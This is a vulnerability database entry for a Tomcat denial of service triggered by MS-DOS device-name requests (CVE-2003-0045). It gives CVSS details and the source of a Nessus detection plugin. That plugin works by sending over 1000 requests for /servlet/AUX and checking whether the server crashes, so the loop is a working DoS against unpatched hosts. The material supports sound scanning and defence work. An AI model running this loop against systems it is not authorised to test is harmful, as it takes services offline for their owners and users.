Vulnerabilities > CVE-2003-0045 - Denial-Of-Service vulnerability in Tomcat

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
apache
nessus

Summary

Jakarta Tomcat before 3.3.1a on certain Windows systems may allow remote attackers to cause a denial of service (thread hang and resource consumption) via a request for a JSP page containing an MS-DOS device name, such as aux.jsp.

Nessus

NASL familyWeb Servers
NASL idTOMCAT_DEVNAME_DOS.NASL
descriptionIt was possible to freeze or crash Windows or the Apache Tomcat web server by reading thousands of times an MS/DOS device through the Tomcat servlet engine, using a file name like /examples/servlet/AUX. An attacker can exploit this flaw to make your system crash continuously, preventing you from working properly.
last seen2020-06-01
modified2020-06-02
plugin id11150
published2002-10-25
reporterThis script is Copyright (C) 2002-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/11150
titleApache Tomcat MS-DOS Device Name Request DoS
code
#
# (C) Tenable network Security, Inc.
#

# See also script 10930 http_w98_devname_dos.nasl
#
# Vulnerable servers:
# Apache Tomcat 3.3
# Apache Tomcat 4.0.4
# All versions prior to 4.1.x is affected as well.
# Apache Tomcat 4.1.10 (and probably higher) is not affected.
#
# Microsoft Windows 2000
# Microsoft Windows NT is affected as well.
#
# References:
# Date: Fri, 11 Oct 2002 13:36:55 +0200
# From:"Olaf Schulz" <[email protected]>
# To:[email protected], [email protected], [email protected]
# Subject: Apache Tomcat 3.x and 4.0.x: Remote denial of service vulnerability
#

include("compat.inc");

if (description)
{
 script_id(11150);
 script_version("1.31");
 script_cvs_date("Date: 2018/08/15 16:35:43");

 script_cve_id("CVE-2003-0045");

 script_name(english:"Apache Tomcat MS-DOS Device Name Request DoS");
 script_summary(english:"Kills Apache Tomcat by reading 1000+ times a MS/DOS device through the servlet engine.");

 script_set_attribute(attribute:"synopsis", value:
"The instance of Apache Tomcat running on the remote host is affected
by a denial of service vulnerability.");
 script_set_attribute(attribute:"description", value:
"It was possible to freeze or crash Windows or the Apache Tomcat web
server by reading thousands of times an MS/DOS device through the
Tomcat servlet engine, using a file name like /examples/servlet/AUX.

An attacker can exploit this flaw to make your system crash
continuously, preventing you from working properly.");
 script_set_attribute(attribute:"solution", value:"Upgrade to Apache Tomcat version 4.1.10.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L");
 script_set_attribute(attribute:"vuln_publication_date", value:"2003/03/26");
 script_set_attribute(attribute:"patch_publication_date", value:"2002/09/06");
 script_set_attribute(attribute:"plugin_publication_date", value:"2002/10/25");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:tomcat");
 script_end_attributes();

 script_category(ACT_KILL_HOST);
 script_copyright("This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
 script_family(english:"Web Servers");

 script_dependencies("tomcat_error_version.nasl");
 script_require_ports("Services/www", 8080);
 script_require_keys("installed_sw/Apache Tomcat", "Settings/ParanoidReport");

 exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

start_denial();

get_install_count(app_name:"Apache Tomcat", exit_if_zero:TRUE);
port = get_http_port(default:8080);
install = get_single_install(app_name:"Apache Tomcat", port:port, exit_if_unknown_ver:TRUE);

if (http_is_dead(port: port)) exit(1, "The remote host is not responding on port "+port+".");
soc = http_open_socket(port);
if (! soc) exit(1, "Could not open socket to port "+port+".");

# We should know where the servlets are
url = "/servlet/AUX";

for (i = 0; i <= 1000; i = i + 1)
{
  res = http_send_recv3(method:"GET", item:url, port:port);
  if (isnull(res))
  {
    sleep(1);
    res = http_send_recv3(method:"GET", item:url, port:port);
    if (isnull(res))
      break;
  }
}

alive = end_denial();
if (! alive && http_is_dead(port: port, retry: 3))
{
  if (report_verbosity > 0)
  {
    report = get_vuln_report(items:url, port:port);
    security_warning(port:port, extra:report);
  }
  else security_warning(port);
}
else exit(0, "The remote Tomcat install on port "+port+" is not affected.");